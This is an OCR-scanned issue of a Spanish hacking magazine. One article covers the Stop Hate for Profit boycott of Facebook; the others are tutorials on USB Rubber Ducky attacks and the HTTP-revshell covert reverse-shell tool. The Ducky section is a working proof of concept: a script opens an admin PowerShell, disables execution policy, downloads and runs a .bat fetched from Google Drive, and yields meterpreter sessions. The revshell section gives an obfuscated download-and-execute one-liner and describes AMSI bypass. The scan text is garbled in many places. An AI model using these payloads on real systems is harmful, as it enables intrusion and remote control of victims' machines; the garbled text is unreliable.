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CAMPANA: STOP
HATE FOR PROFIT

Una vez mas la red social Facebook vuelve a estar en medio de debate, ;Qué

es lo que buscan con esta campafia? Pues sencillamente piden un cambio que

pueda ser evidente pues actualmente no es anuente a nuestros ojos, cada vez
no es extrafio encontrarnos con discursos hostiles' y dafiinos originados en
dicha plataforma.

Escrito por: @DRAGORA | MODERADOR GLOBAL UNDERCODE
Es Ingeniera en sistemas Computacionales, encantada por el mundo geek,
Dedicada a Telecomunicaciones, y miembro muy activa de la comunidad
UndercOde.
Contacto:
undercOde.org/foro/profile/Lily24

acebook se llevé el trago amargo de que varias empresas anunciaron que
dejarian de pagar publicidad en su plataforma durante julio de 2020, lo cual
rapidamente coloco a la compafiia nuevamente en aprietos, pero esta accion no
es en vano sino tiene un propésito fuerte el cual es que Facebook ponga un
alto a los “discursos hostiles” y perjudiciales que vemos dia a dia en la red
social.

" Luis Miranda 2020, El boicot contra Facebook provocaria cambios estructurales en la plataforma, seguin un experto en
publicidad, hipertextual.com/2020/07/boicot-facebook-publicidad-discurso-odio Consultado: 5/7/2020.

~y
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Algunas empresas que se han sumado a esta protesta publicitaria

e Puma e Denny's e Vans

e Coca Cola e Dermatonics e Verizon, son solo algunas de
e Honda e Ford las empresas que se han

e Reebok e Levi's sumado.

e Best Buy e Mozilla

e Colgate-Palmolive e Patreon

cAMmPANA STOP HATE FOR PROFIT

Free Press y Common Sense, en conjunto con organizaciones de derechos civiles de Estados Unidos Color of
Change y la Liga Antidifamacién, lanzaron la campafa Stop Hate for Profit (No al odio por dinero) después
del fallecimiento de George Floyd, un hombre afroamericano que falleci6 debido al abuso de poder

policiaco en Minneapolis, Estados Unidos. Dicha campafia se ha convertido en un alza de las voces que exigen
que esta situacion pare, pues es comun ver contenidos racistas y que incitan al odio en la plataforma sin que
el grupo que impulsa la firma Facebook haga lo necesario para frenarlo.

Presion para obtener lo exigido

Los organizadores de dicha campafia empezaran a abogar a las principales empresas europeas a unirse a la
causa.

"El proximo paso es la presion global”

Comenta Jim Steyer

Director Ejecutivo de Commaon Sense Media.

Con ello se espera animar a reguladores europeos a tomar una postura rigida contra Facebook. Adjuntando
el anuncio de la Comisién Europea respecto las nuevas normas para que compafiias tecnoldgicas, como
Facebook, expongan informes mensuales respecto al manejo de informacion errénea.

MEDIDAS QUE HA TOMADO FRCEBOOKR

La firma dio a conocer que esta dispuesta a presentar la respectiva auditoria por parte de Media Rating
Council (MRC), compafiia de métricas en medios, para valorary la precision de los reportes en determinados
sectores. Ademas de prohibir anuncios que dirijan ataques a personas de una raza, etnia, reljgion u
orientacion sexual.

Hace poco Facebook anuncié que etiquetaria el contenido "noticioso" que viole sus politicas, respuesta que
no era la que se esperaba para los organizadores de la campania digital.

Existen opiniones encontradas, no es anuente a nuestros ojos que la plataforma en vez de tomar cartas en
el asunto esta censurando y boicoteando a diestra y siniestra a muchas paginas como respuesta a esta
exigencia. Lamentablemente esperamos un cambio radical, cambio que parece venir muy lejos ya que

Zuckerberg cree que esta campafia es por cuestiones de reputacion...ironico sverdad?



USB RUBBER DUCKY

HACKING

Este dispositivo es un teclado programado con forma de USB, que al

conectarse comienza a escribir en el equipo de forma automatizada, para == _’

lanzar programas y herramientas que bien pueden estar en el equipo victima

o cargados en la memoria Micro SD que lleva incluida.

Escrito por: @OROMAN EN COLABORACION CON UNDERCODE —
Ingeniero en tecnologias de la informacién, en el area de seguridad informatica
(5_8_(5 y seguridad de la informacién desde hace 5 afios.
Curioso de las nuevas tecnologias emergentes y la economia digital.
Co-Fundador de la Startup Prometheo, dedicada a desarrollo de aplicaciones con
tecnologias emergentes.

Contacto:

» - _:

www.prometheodevs.com [l Ml

uenta con una entrada para memorias tipo SD, un procesador de 60Mhz —

de 32 bits, convirtiendo el lenguaje Ducky a pulsaciones de teclado, ya —
ﬁ. >
que introduce los cddigos directamente en el procesador de la —
computadora. =%

undercOde.org
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Esta herramienta se trabaja mediante un lenguaje de programacién bastante sencillo lamado ducky language el cual
consta de pulsaciones de teclado, puede ir desde letras sencillas hasta comandos de atajo del teclado.
Un ejemplo de un script basico es el siguiente:

GUI r

DELAY 500

STRING notepad.exe

ENTER
DELAY 1000
STRING Hello World!

En donde los siguientes comandos realizan las actividades siguientes:

Ejecutar X

Escriba el nombre del programa, carpeta, documento o
recurso de Internet que desea abrir con Windows.

Abrir: v

Aceptar Cancelar Examinar...

GUI r (GUI es la tecla Windows) abre el atajo ejecutar, y escribe notepad.exe para abrir un block de notas el cual escribe
Hello World!

Sin titulo: Bloc de notas - O X

Archivo Edicién Formato Ver Ayuda

Hello World!|

Asi de sencillo es escribir un script para ruber ducky.
Cabe mencionar que todos estas comandos se escriben en
mayusculas o de lo contrario no funcionaran.

Existen algunos comandos especiales para comenzar a desarrollar scripts en esta herramienta los cuales enlistare a
continuacion:

e REM: Este comando sirve para comentar el c6digo que se esta escribiendo es similar a # o las "" de otros lenguajes.

Ejemplo. REM Este es un comentario.

e DELAY: Comando que permite crear pausas en la ejecucion del script, esto nos sirve para ajustar los tiempos, en los
que se debe de ejecutar una linea y otra, por ejemplo, si ejecutamos un comando en ¢md que tarda 2 o 3 segundos
en regresar la respuesta, si no queremos que Rubber siga escribiendo agregamos un DELAY seguido de milisegundos.

Ejemplo: DELAY 1000 (Esto nos dara 1 segundo de espera ante de que el cédigo se siga ejecutando.

e STRING: al igual que muchos lenguajes de programacién el comando string sirve para escribir cadenas de texto, ya
sea para introducirlas a una cmd, un block de notas, etc.

Ejemplo: STRINGA ... zA ... Z0.9!..) "~+=_-"";<>?/\Y pipe, Hola mundo, ipconfig/all, etc....

e GUI: Esta funcién emula la tecla Windows, la cual nos sirve para llamar la funcién ejecutar, también podemos ejecutar
como WINDOWS y hace la misma funcion, seguida de una tecla para formar la funcién.

Ejemplo: GUI r (Abre la opcién Ejecutar) GUI |, bloquea el escritorio, entre otras.

e SHIFT: este comando emula la tecla shift, con la cual podemos crear caracteres especiales, mayusculas entre otras

funciones.

Ejemplo: SHIFT 3 (para escribir la tecla gato) de esta manera puedes usar esta tecla para utilizar los atajos.
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e ALT: Esta tecla funciona de la misma manera que SHIFT pero con diferentes teclas como las F1, F2, F3 etc.
Ejemplo: ALT F4 (cierra una ventana abierta).
e CTRL: Esta tecla sirve como las anteriores, para hacer conjunciones con otras teclas
Ejemplo: CTRL ESCAPE: que sirve para abrir el menud de Windows.
e DOWNARROW - Tecla hacia abajo - ¥
e LEFTARROW - Tecla hacia izquierda - «
e RIGHTARROW - Tecla hacia derecha - »
e UPARROW - tecla hacia arriba - A
e ENTER: esta tecla representa el enter del teclado, bastante eficiente para darle intro a los comandos ejecutados
cuando se necesita accion del usuario.
Este conjunto de teclas sirve para moverse como si fueran las flechas del teclado.

Un script mas avanzado se podria ver de esta manera:

DELAY 750

GUI r

DELAY 1000

STRING powershell Start-Process notepad —-Verb runAs
ENTER

DELAY 750

ALT vy

DELAY 750

ENTER

ALT SPACE

DELAY 1000

STRING m

DELAY 1000

DOWNARROW

REPEAT 100

ENTER

STRING C:\Windows\config-11563.psl
ENTER

DELAY 1000

ALT F4

DELAY 1000

GUI r

DELAY 750

STRING powershell Start-Process cmd -Verb runAs
ENTER

DELAY 750

ALT v

DELAY 750

STRING mode con:cols=14 lines=1
ENTER

ALT SPACE

DELAY 750

STRING m

DELAY 1000

DOWNARROW

REPEAT 100

ENTER

STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
ENTER

Ya que tenemos nuestro script en bloc de notas o algun editor de texto plano como notepad++ procedemos a compilar
el cédigo para generar el archivo .bin, que es el que ejecuta Ruber ducky al introducirlo al pc para esto tenemos que
descargar los archivos? necesarios para esta compilacién.

Ya que tenemos el paquete descomprimido también hay que validar que tengamos java instalado en nuestro pc,
haciéndolo de la siguiente manera:

C:\Users\pedro>java -version
java version "1.8.0 144"

Java(TM) SE Runtime Environment (build 1.8.6_144-b01)
Java HotSpot(TM) Client VM (build 25.144-bel, mixed mode, sharing)

De lo contrario procedemos a descargar la versién de java: www.java.com/es/download

2 Source: github.com/hak5darren/USB-Rubber-Ducky



http://www.java.com/es/download
https://github.com/hak5darren/USB-Rubber-Ducky
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A continuacion, podemos hacer los siguientes pasos, nos ubicamos en la carpeta que descargamos del Rubber
ducky:
Simbolo del sistema - O X
C: \Users\pedro>cd Desktop
C: \Users\pedro\Desktop>cd USB-Rubber-Ducky-master

C: \Users\pedro\Desktop\USB-Rubber-Ducky-master>cd Encoder

C: \Users\pedro\Desktop\USB-Rubber-Ducky-master\Encoder>java -jar encoder.jar -i rubber.txt -1 es.properties

Donde el comando java -jar encoder.jar -i rubber.txt -| es.properties, representa lo siguiente:

e Java - jar: Comando que nos permite ejecutar archivos compilados de java que se nombran JAR.

e Encoder.jar: es el binario que hace la conversién de nuestro script en txt a un archivo binario (.bin)

e -irubber.txt: indica cual es el archivo que sera convertido en un binario (.bin)

o -l es.properties: Permite seleccionar entre varios lenguajes de teclado (en este caso, es representa
espafiol, asi como us, americano, entre otros). Para que este comando tenga éxito, tenemos que mover el
archivo es.properties a la carpeta de encoder, y tener el archivo rubber.txt también dentro de la carpeta
encoder, se veria de la siguiente manera:

USB-Rubber-Ducky-master » Encoder

~

~ Nombre “  Fecha de moc

12/2016 0

.settings

tos
resources

src
.classpath
project

|£] encoder jar
es.properties

rubber.txt

Después ejecutamos el comando y nos arroja un archivo binario (.bin)

C:\Users\pedro\Desktop\USB-Rubber-Ducky-master\Encoder>java -jar encoder.j -i rubber.txt -1 es.properties
Hak5 Duck Encoder 2.6.4

Loading File [ oK

Loading Keyboard File [ oK
Loading Language File [ oK
Loading DuckyScript [ oK
DuckyScript Complete [ oK

USB-Rubber-Ducky-master Encoder

~
~ Nombre

Si nos aparece OK en todas las opciones es que tuvimos una compilacién ido

: . 7 2 0 -settings
exitosa, si nos aparece algun error, es porque algo esta mal en el script. [0 resources
s
Veremos el nuevo archivo .bin que se generd, a continuacion, este archivo es
. . . , .classpath
el que introducimos a la micro SD de rubber, después de esto la rubber project
atacara con el script que generamos. = encoderjar
es.properties
inject.bin
rubber.txt

PRUEBRA DE CONCEPTO (POC)

Para esta prueba de concepto vamos a necesitar un pc con sistema operativo Kali/Linux y otra computadora con
Windows 7.
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La siguiente prueba consiste en crear un archivo malicioso con extension .bat que contiene un cédigo cifrado en base 64, que
ejecutara una serie de comandos en Vbscript explotando una vulnerabilidad en Windows 7 permitiéndonos obtener control
remoto del equipo victima por medio de una consola llamada meterpreter.

Primero debemos de abrir una consola de Kali y
root@Kkali: ~

seleccionar la herramienta Setoolkit la cual es un

Archivo Editar Ver Buscar Terminal Ayuda

:~# setoolkit]]

framework para ingenieria social bastante eficiente.

Después se nos despliega el menu el cual seleccionamos la opcion “1” la cual nos da informacién sobre vectores de
ingenieria social:

Please update SET to the latest before submitting any git issues.

Select from the menu:

Social-Engineering Attacks
Penetration Testing (Fast-Track)
Third Party Modules

Update the Social-Engineer Toolkit
Update SET configuration

Help, Credits, and About

Exit the Social-Engineer Toolkit

Ya que estamos dentro del menu de ataques de ingenieria social, seleccionamos la opcién 9 que utiliza la herramienta
de Windows Powershell para poder envenenar el equipo con un malware cifrado.

Please update SET to the latest before submitting any git issues.

Select from the menu:

1)
2)
3)
4)
5)
6)
7)
8)
9)
10)
11)

99)

Spear-Phishing Attack Vectors
Website Attack Vectors
Infectious Media Generator
Create a Payload and Listener
Mass Mailer Attack
Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

SMS Spoofing Attack Vector
Third Party Modules

Return back to the main menu.

> 1
Ahora seleccionamos la opcién 1 de nuevo, nos creard un documento de texto con una serie de instrucciones cifradas

en base 64.

The Powershell Attack Vector module allows you t
. PowerShell provides a fruitful landscape for {

1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell

3) Powershell Bind Shell

4) Powershell Dump SAM Database

99) Return to Main Menu

>
1
Nos pedira una serie de informacién, la primera informacién que nos solicita es la IP del servidor que recibira la peticion,

en este caso la recibimos a nuestro servidor, asi que seleccionamos su ip:

Please update SET to the latest before submitting any git issues.
root@kali: ~
Select from the menu: car_Terminal _Ayuda
tu 1560
255.255.0 broadcast 192 7.
ixlen 64 scopeid 0x26<link>
(Ethernet)

hing Attack Vectors
k Vectors
dia Generator
oad and Listener

(
overruns 0 frame 0
34960 (34.1 KiB)
r carrier @ collisions @

99) Return back to the main menu.

ytes 1116 (1.0 KiB)

dropped © overruns 0 frame 0

bytes 1116 (1.0 KiB)
dropped © overruns 0

>9

The Powershell Attack Vector module allows you to create PowerShell specif
PowerShell provides a fruitful landscape for deploying payloads and per carrier @ collisions 6
rshell Alphanumeric Shellcode Injector
ell Reverse Shell
ell Bind Shell
ell Dump SAM Database

99) Return to Main Menu

5 >1
Enter the IPAddress or DNS name for the reverse host: 192.168.117.11¢(]
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A continuacién, nos solicita establecer un puerto en este caso seleccionamos el puerto por defecto que es el 443:

> Enter the port for the reverse [443]:443
Después de presionar enter, comienza a generar el payload o el script cifrado de powershell y nos da la ruta especifica

de donde se almacené:

[*] Prepping the payload for delivery and injecting alphanumeric shellcode...

[*] Generating x86-based powershell injection code...

[*] Reverse HTTPS takes a few seconds to calculate..One moment..

No encoder or badchars specified, outputting raw payload

Payload size: 359 bytes

Final size of c¢ file: 1532 bytes

[*] Finished generating powershell injection bypass.

[*] Encoded to bypass execution restriction policy...

[*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/

Al crear el payload nos pregunta que si queremos levantar el servidor malicioso con ayuda de un handler de metasploit,

debemos seleccionar que si.
> Do you want to start the listener now [yes/no]: : yes

Como podemos ver el servidor de creo automaticamente con ayuda de metasploit:

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

oloit v4.14.10-dev ]

[ 1639 exploits - 944 auxiliary - 289 post ]
472 payloads - 40 encoders - 9 nops 1
Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing /root/.set/reports/powershell/powershell.rc for ERB directives
resource (/root/.set/reports/powershell/powershell.rc)> use multi/handler
resource (/root/.set/reports/powershell/powershell.rc)> set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse https

resource (/root/.set/reports/powershell/powershell.rc)> set LPORT 443

LPORT => 443

resource (/root/.set/reports/powershell/powershell.rc)> set LHOST 0.0.0.0

LHOST => 0.0.0.0

resource (/root/.set/reports/powershell/powershell.rc)> set ExitOnSession false
ExitOnSession => false

resource (/root/.set/reports/powershell/powershell.rc)> exploit -j

[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://0.0.0.0:443
[*] Starting the payload handler...
Imsf exploit( ) > 1

El servidor o handler esta en escucha por el puerto 443 y esta listo para esperar la conexién
entrante.

La segunda parte de este proceso es infectar a la victima por medio de Powershell, para ello
tomamos el archivo que generd Setoolkit y lo convertimos en .bat con el nombre de x86.bat

En el rubber ducky generamos un payload que persuade en descargar este archivo y auto ejecutarlo desde la
memoria ram para eso necesitamos el siguiente codigo:

DELAY 1000

GUI r

DELAY 200

STRING powershell Start-Process powershell -Verb runAs

ENTER

DELAY 1200

ALT y

DELAY 1500

STRING mode con:cols=20 lines=1

ENTER

DELAY 200

STRING $down = New-Object System.Net.WebClient; $url = 'https://doc-08-7g-
docs.googleusercontent.com/docs/securesc/ha@ro937gcuc717deffksulhgs5h7mbpl/1s0ahmekld6slp
8cik@6pioipcomvmmm/1503950400000/16263484853567794396/*/0B4YyjO07DUM1UalZzPdiloLV9ISUO?e=d
ownload'; $file = 'x86.bat'; $down.DownloadFile($url,$file); $exec = New-Object -com
shell.application; $exec.shellexecute($file); exit;

ENTER
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El archivo malicioso fue montado en un servidor de google drive el cual, se auto descarga al solicitar la peticién:

$down = New-Object System.Net.WebClient; $url = 'https://doc-08-7g-
docs.googleusercontent.com/docs/securesc/ha@ro937gcuc717deffksulhg5h7mbpl/1s@0ahmé6kld6s1p8cik@6pioipc
omvmmm/1503950400000/16263484853567794396/* /0B4YyjO7DUM1UalZPdiloLV9ISUO?e=download'; $file =

'x86.bat'; yse ejecuta.

Al introducir la Rubber Ducky se ejecuta un powershell con privilegios de administrador la cual se ve de esta manera:

(-4 Administrator: Windows PowerShell

Windows PowerShell
Copyright (C) 2009 Microsoft Cerporation. All rights reserved.

P$ C:\Windows\system32> $down = New-Object System.Net.WebClient; $url = 'https://doc-08-Tg-docs.googleusercontent.com/do)

cs/securesc/habro93TgeuclideffksulhgShimbpl/1s0ahm6k1d6s1p8cik@6pioipconivmmii/ 1503950400000,/ 16263484853567 794396,/%/0B4Yy|
jOTDUM1UalZPdiloLU9ISUB7e=download ; $file = 'x86.bat’; $down.DownloadFile($url,$file): $exec = New-Object -com shell.ap|
plication; $exec.shellexecute($file); exit;

Y al ejecutar este comando se inyecta el malware:

-] indows\system32\cmd

AAWAHGANGAZACWAMABYADYADAASADAACAAXADIALAAWAHGAOOA2ACKAMABYAD9AOOASADAACABLADIAL N
AAWAHGAZgBMACWAMAB4AGAANAQASADAReAAYADUALARWAHYAYWAWACWAMAB4ADCANAASADAACAB jAGAAL]
AAWAHQADABI ACKWAMABY4ADAANWASADAReAAWADEALARWAHGAYWAZACWAMABYADgANAASADARCAB jADAAL]
AAWAHgANWATACWAHAB4AGUANGASADAAeARTADgALAARWAHgAYWAZACWAMABY4ADUAZgASADAASABL ADgAL]
AAWAHgANgASACWAHABYAGYAZgAsADAAeABmMAGYALAAWAHgAZgBmACWAMAB4ADMANAASADAReAAZADKAL]
AAWAHQAMWAYACKAMABYADIAZOASADAAeARZADEALAAWAHgAMWAZACWAMABYADMAOAASADARCARYAGUAL)
AAWAHgAMWAXACWAHAB4ADMANGASADAAeARZADCALARWAHGAMGB1ACWAMABYADMAMAASADAAREARZADEAL]
AAWAHgAMWAWACWAHABYADAANAATACOAZWAQADOAIAAWAHgAMOAWADAAMAATAGKAZgAGACGAJABEACHAT(S
AB1AGHAZWBOAGYAIAAtAGCAdARgADAAeARXADAAMARWACKAeWAKAGCAIAASACAAJABEACHATABLAGHAZ
WBOAGGAFAATACAAaWBGAF gAPAAKAHCAOGABAF YAaOBYAHAAIABhAGWAQABSAGWABKWB jACGAMAASADARAE)
AAXADAAMAAWACKAJABNACWAMABYADAAMARPADSAZ9BUAHIAIAACACAANAIADAROWAKAGKATAALAGHAZ
QAgACQAJABBACHATABLAGHAZWBOAGYALAAXACKAOWAKAGKAKWArACKAIABTACAAdWAEADOADABLAGOAC
wB1AHAAKABbAEKAbgBOAF ARMABYAF BAKARKAGSARGBYACHAUABUAEK AbgBOADMAMgAoACKAKWAKAGKAK]
QAsACAAJABEGAF sAJABpAFOALAAGADEAKOBIADSAJAB3ADoA0GBDAHIAZABhAHAOAZAOBUAGGACOBLAGEAZ
AAOADAALAAWACWAJABrAEYAWARSADAALARWACKAMAAPADSAZgBUAHIAIAACADSAOWAPAHSAUWBOAGEAC)
gBOACOACWBSAGUAZOBWACAANgAWAHBAOWANADSAJABLACAAPOAGAF sAUWBSAHMAJAB1AGOALgBDAGEAD)
9B2AGUAcgBOAFOA0gAGAF AAbWBCAGEACWB1ADYANABTAHAACGBPAGHAZWACAF sSAUWBSAHMAIABL AGOAL]
9BUAGUAeABOACHARABUAGHAbWEKAGKAbGBNAFBA09AGAFUAbgBpAGHAbWBKAGUALGBHAGUAJABCAHKA
AB1AHMAKARKAEMAZgBPAEYAKAAPADSAJABZAGCALAAGADOAIAALIACOAZAAGAC IAOWBPAGYAKABLAEKAD)
9BOAFARABYAFOA0gAGAFMAAGBEAGUAIARLAGUACAAgADgAKAOB TACAAUWEXAEKAegAgADBATARKAGUAD)
gB2ADoAUWBSAHMAJAB1AGOAUGBUAGBAdAAGACSATAALAFWACKBSAHMAdWBUAHCANGABAF WAUKWBPAGHAZ
ABUAHCAcWBOAGBAdWB1AHIAUWBoAGUARABSAFWAdgAXACYAMABCAHARLWB3AGUACGBZAGGAZOBSAGWAT
QA TAGKAZAB4ACAATIgAMACAAJABTAHEASABBACAAJABZAGCAbRAGACAAZAA1AHBAZOBSAHMAZABTADSAS
OB1lAHGAIAAIACYAIABWAGSAdWB1AHIACKBOAGUAbABSACAAJABZAGCAbAAGACAAZAAIADSAFQA=""

JE
El cddigo cifrado en base 64 es interpretado por la Shell de Windows y se establece una conexién en reversa hacia la
computadora atacante:

Started HTTPS reverse handler on https://0.0.0.0:443

Starting the payload handler

exploit( ) > [*] https://0.0.0.0:443 handling request from 192.168.117.112; (UUID: 7k9upmé4h) Staging x86 payload (958531 bytes) ..
Meterpreter session 1 opened (192.168.117.110:443 -> 192.168.117.112:49293) at 2017-08-28 16:36:48 -0400

https://0.0.0.0:443 handling request from 192.168.117.112; (UUID: 7k9upmdh) Staging x86 payload (958531 bytes) ...

Meterpreter session 2 opened (192.168.117.110:443 -> 192.168.117.112:49297) at 2017-08-28 16:40:17 -0400

msf exploit( ) > sessions i -1

Active sessions

Id Type Information Connection

1 meterpreter x86/windows WIN-PPK7NLERD4N\pedro @ WIN-PPK7NLERDAN 192.168.117.110:443 -> 192.168.117.112:49293 (192.168.117.112)
2 meterpreter x86/windows WIN-PPK7NLERD4N\pedro @ WIN-PPK7NLERDAN 192.168.117.110:443 -> 192.168.117.112:49297 (192.168.117.112)

msf exploit( ) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > [j

msf exploit( ) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo

Computer : WIN-PPK7NLERD4N

0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86

System Language : en US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows

meterpreter >
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El tiempo estimado de ejecucidén de esta herramienta fue de aproximadamente 1 hora, se desglosa al montar el
servidor malicioso, configuracion, subida a un servidor de google drive y configuracion de auto descarga, la
ejecucién de la Rubber Ducky se tardd aproximadamente 10 segundos en ser implementada.

Este script puede ser evadido por antivirus actualizados utilizando vulnerabilidades como 0 - Day y algunas otras
no parchadas. En un entorno de directorio activo podemos deshabilitar el uso de pendrives y dispositivos USB
desde las Politicas de Grupo con la ventaja de centralizar la solucion para toda la organizacién. También podriamos
aplicar estas politicas localmente, pero perderiamos la potencia de despliegue de directorio activo.

Creando una nueva politica “Prevent Installation of devices not described by other policy settings” (Computer
configuration — Administrative Templates — System — Device Installation — Device Installation Restriction)
limitamos la instalacion de nuevos dispositivos como es el caso del Rubber Ducky.

Local Group Policy Editor [= o S|
File Action View Help
= = 7= @m T
Start Menu and Taskbar Setting State
System 1=, Allow administrators to override Device Installation Restriction policies Not configured
Access-Denied Assistance i, Allow installation of devices using drivers that match these device setu Not configured
Audit Process Creation 1| Prevent installation of devices using drivers that match these device se.. Not configured
Credentials Delegation 1| Display a custom message when installation is prevented by a policy s... Not configured
- Device Installation i Display a custom message title when device installation is prevented b. Not configured
kD’“'(e Mistaerion Reds i, Allow installation of devices that match any of these device IDs Not configured
sk NV h
g' i Cache £] Prevent installation of devices that match any of these device IDs Not configured
s uotas
1] Time (in seconds) to force reboot when required for policy changes to. Not configured

p () Distributed COM .

i:) Prevent installation of removable devices Not configured
Driver Installation - -

Early Launch Antimalware
File Classification Infrastrud
File Share Shadow Copy Pr¢
Filesystem
Folder Redirection
b Group Policy
b Internet Communication M
b iISCSI
KDC
Kerberos
Locale Services
Logon < "

" > Extended ) Standard

10 setting(s)

Esta herramienta puede ser facilmente utilizada para integrar otras soluciones como metasploit, Armitage, SET,
entre otras, su facil aplicacion la vuelve peligrosa para un entorno empresarial descuidado.




HTTP-REVSHELL:

CONTROLA EL EQUIPO DE
LA VICTIMA A TRAVES DE
UN CANAL ENCUBIERTO

MALWARE

Esta herramienta se hace llamar HTTP-revshell y consiste en la utilizacion de un

canal encubierto (covert channel) para obtener control sobre el equipo victima a

través de peticiones web y de esta forma evadir soluciones como un IDS, IPS y AV.

Escrito por: @3V4SION EN COLABORACION CON UNDERCODE
Vicente Motos, Creador de Hackplayers, blogger y organizador del congreso h-cOn. e e
Consultor de seguridad informatica y hacker ético. Actualmente red teamer/threat
hunter. Experiencia en arquitectura de sistemas y comunicaciones, investigacion de
vulnerabilidades, creador de varias herramientas, jugador de CTFs y amante del
software libre.

Contacto:

Blog: Hackplayers.com - p—
Redes Sociales: e e

Con: h-cOn.com

Twitter: @hackplayers —— |

¢ QUé €S UN COoOVERT CHRNNEL?
Pues basicamente, es la manipulacion de un protocolo de comunicacion

l“mI | 14

=0

(en este caso HTTP y HTTPS) para enviar informacion de una manera fuera
de la especificacion del protocolo.

It

=0

undercOde.org
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HTTP-revshell se ha desarrollado para ser utilizada en ejercicios de RedTeam y/o pentest para poner a prueba las
capacidades de deteccidon de las soluciones de seguridad que una empresa puede tener implementadas (siempre para
hacer el bien y nunca para el mal, sed buenos).

UTILIZACION DE HTTP-REVSHELL
Comenzamos con la instalacién de la herramienta. Lo primero, descargar el repositorio que se encuentra en la siguiente
URL: github.com/3v4SiON/HTTP-revshell

Para realizar una pequefia muestra de cémo funciona vamos a utilizar la versién de la rama devya que, actualmente
como se encuentra en desarrollo, esta mas actualizada que la versién de la rama master. Para ello, utilizamos el

siguiente comando:

1. git clone -b dev https://github.com/3v4Si0ON/HTTP-revshell.git

N« - clone -b dev https://github.com/3v4S1ON/HTTP-revshell.git
Cloning into "HTTP-revshell'...
remote: Enumerating objects: 144, done.
remote: Counting objects: 108% (144,144}, done.

remote: Compressing objects: 188% (131/131), done.

remote: Total 331 (delta 86), reused 25 (delta 12 pack-reused 187
Receiving objects: 188% (331/331), 15 KiB | 920.00 KiB/s, done.
Resolving deltas: 188% (185/185), done.

iINstalamos las dependencias
‘1. cd HTTP-revshell && pip3 install -r requirements.txt

- -
Requirement already satisfied:
Requirement a y satisf read‘h_r‘ne in ,.-'-u /
Requirement already satisfied: pynput in fusr/l ! python3. ) rom -r rqulrnmﬂnt
Requirement already satisfied: six in / £ U'l.tb.-w‘?hl:m3 :‘-‘F:IL,? pen:!-agp [ pynput-=-r
Requirement already satisfied: pytho ATy "linux™ in sys_platform in fusr/lib/python3/dis

Una vez instaladas todas las dependencias, Unicamente queda levantar el servidor web que es el que recibira las
conexiones para poder controlar el equipo.

Actualmente, se encuentran en desarrollo dos versiones del servidor (server.pyy server-mutisession.py). El
servidor multisession, como su nombre indica, ofrece la posibilidad de controlar mas de un equipo al mismo tiempo, en
cambio server.py Unicamente funciona con un uUnico cliente.

Vamos por partes, en primer lugar, se va a mostrar cémo funciona la herramienta utilizando el server.py. Como se puede
observar en la ayuda de la herramienta, existe un argumento opcional llamado --ssl. Este flag permite cifrar el trafico
punto a punto y de este modo imposibilitar la visualizacion del trafico a curiosos y la deteccion por parte de las
soluciones a nivel de red (siempre y cuando la solucidon no tenga la capacidad de descifrar el trafico HTTPS, que en este

caso no funcionaria).
& ~/HTTP-revshell

HTTEYS REUSHELL

usage: server.py [=h] [--s531] [--autocompleta] host port

Process some integers.

positional argumen
hos
port

optional arguments

AUToCom p'LuTll



https://github.com/3v4Si0N/HTTP-revshell
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Y sin mas dilacion, ejecutamos el servidor:

MM = ~/HTTP-revshell server.py 192.168,224,138 88

HTTFSS REVSHELL

Sat Jun 27 13:80:24 2828 Server UP - 192,168.224.138:88

En este momento la herramienta se encuentra en escucha esperando a que un cliente se conecte.

Por otro lado, en el repositorio se puede encontrar el cliente (Invoke-WebRev.ps1). Este script desarrollado en
PowerShell es el cliente que va a interactuar con el servidor y el cual tiene que ser ejecutado en la victima.

Para ejecutar el script en la victima se puede realizar ejecutando el siguiente comando, cambiando la direccion IP y
puerto por el que ustedes quieran (y hayan puesto en el servidor):

powershell -w h -nop "$x = 'serevjo-ei-ycixefo'; Set-alias $x ($x[Strue-10] +
($x[[byte] ('0x'" + '"FF') - 265]) + S$x[[byte] ('Ox' + '9a') - 158]); serevjo-ei-ycixefo
(New-Object

Net.WebClient) .DownloadString ('https://raw.githubusercontent.com/3v4Si0N/HTTP-
revshell/dev/Invoke-WebRev.psl'); Invoke-WebRev -ip 192.168.224.130 -p 80

Otra manera de ejecutar el script es subiéndolo a la victima y ejecutando el siguiente comando:
.\Invoke-WebRev.psl; Invoke-WebRev -ip 192.168.224.130 -port 80

Una vez que el cliente se conecta al servidor, aparece el siguiente mensaje confirmando que se controla el equipo con
los permisos del usuario que ha ejecutado el script /nvoke-WebRev:

N = - /HTTP-revshell server.py 192.168.224,.138 84

TTP/S REUSHELL

Sat Jun 27 13:58:49 2028 Server UP - 102,168.224.138:5

Seguidamente, el proceso donde se esta ejecutando /nvoke-WebRev ha sido parcheado para evitar las detecciones por
parte del molesto e indeseado AMSI.

Como se puede ver a continuacion, la maquina donde se esta ejecutando H77P-revshelltiene AMSI habilitado (se puede
comprobar escribiendo amsiutils o amsiscanbuffer en la terminal):
EX Windows PowerShell

PS C:\Users\symantec\Desktop>
desktop-edblbuc\symantec
PS C:\Users\symantec\Desktop>

PS C:\Users\symantec\Desktop> _
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En cambio, si realizamos exactamente lo mismo desde H77P-revshell, se puede observar como AMSI ha sido parcheado,

ya que el mensaje “This script contains malicious content..."” no lo vemos:
& ~/HTTP-revshell server.py 192.168.224,138 86

HTTP/S REUSHELL

Sat Jun 27 13:58:49 2028 Server UP - 192.168.224.138:80
whoami
desktop-edblbuch symantec

“amsiutils”®
amsiutils

Al igual que las herramientas evil-winrmy EvilSalsa de Cybervaca, se ha implementado en HTTP-revshell dos funciones
basicas que facilitan la transferencia de ficheros de la maquina atacante a la maquina victima y viceversa.

UpPLOAD

1s
upload LICENSE C:\users\symantec\Desktop\temp\LICENSE

1s
Directory: C:\Users\symantec\Desktop\temp

LastWriteTime Length Name

6/27/2020 2:07 PM 35149 [LICENSE

& ~/HTTP-revshell
root root 42 B
root root 24 B
